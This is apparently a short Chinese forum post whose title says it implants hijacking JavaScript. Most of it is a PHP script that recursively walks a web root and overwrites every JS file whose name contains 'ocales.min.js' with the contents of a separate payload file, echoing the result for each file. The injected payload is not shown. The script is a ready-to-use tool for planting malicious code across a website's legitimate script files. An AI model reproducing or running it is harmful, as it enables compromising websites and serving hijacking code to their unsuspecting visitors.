<?php $files = []; $path = '/home/www/wwwroot/11'; $jsfilepath="/home/www/wwwroot/11/22.php"; $repfilename="ocales.min.js"; $extensions = ['js']; getFiles($files, $path, $extensions); for($i=0;$i<count($files);$i++){ if(strpos($files[$i],$repfilename) !== false){ echo $files[$i]."结果-".copy($jsfilepath,$files[$i])."<br/>"; }else{ echo $files[$i]."不包含跳过<br/>"; } } function getFiles(&$result, $dir, $filter = []) { $files = array_diff(scandir($dir), array('.', '..', '__MACOSX')); if (is_array($files)) { foreach ($files as $value) { if (is_dir($dir . '/' . $value)) { getFiles($result, $dir . '/' . $value, $filter); } else { $path_info = pathinfo($dir . '/' . $value); $extension = array_key_exists('extension', $path_info) ? $path_info['extension'] : ''; if (empty($filter) || (!empty($filter) && in_array($extension, $filter))) { $result[] = $dir . '/' . $value; } } } } }
PHP循环遍历植入劫持JS代码

affadsense
回复
请登录之后再进行评论
登录